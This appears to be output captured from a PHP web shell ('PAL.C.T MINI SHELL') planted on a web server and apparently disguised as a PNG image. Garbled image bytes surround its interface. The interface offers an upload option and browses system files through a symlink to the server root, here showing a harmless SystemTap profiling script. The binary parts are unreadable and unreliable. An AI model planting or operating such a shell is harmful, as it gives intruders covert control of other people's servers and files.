php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/doc/systemtap-client-2.9/examples/profiling/
upload
files >> /var/www/html/sub/images/sym/root/usr/share/doc/systemtap-client-2.9/examples/profiling/fntimes.stp

#!/usr/bin/stap

# usage:   fntimes.stp FUNCTIONPROBE
# e.g.     fntimes.stp 'module("ext4").function("*")'

global mincount = 100      # training: beneath this number of hits, only collect data
global note_percent = 250  # percent beyond maximum-so-far to generate report for
function time() { return gettimeofday_us() }    # time measurement function

global times

function check(t)   # t: elapsed time
{
   if (@count(times[ppfunc()]) >= mincount
       && t >= @max(times[ppfunc()]) * note_percent / 100) {   # also consider @avg()
     printf("function %s well over %s time (%d vs %d)\n",
            ppfunc(), "maximum", t, @max(times[ppfunc()]))
     # also consider: print_backtrace()
   }
   times[ppfunc()] <<< t  # (increments @count, updates @max)
}

probe $1.return { check(time()-@entry(time())) }
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`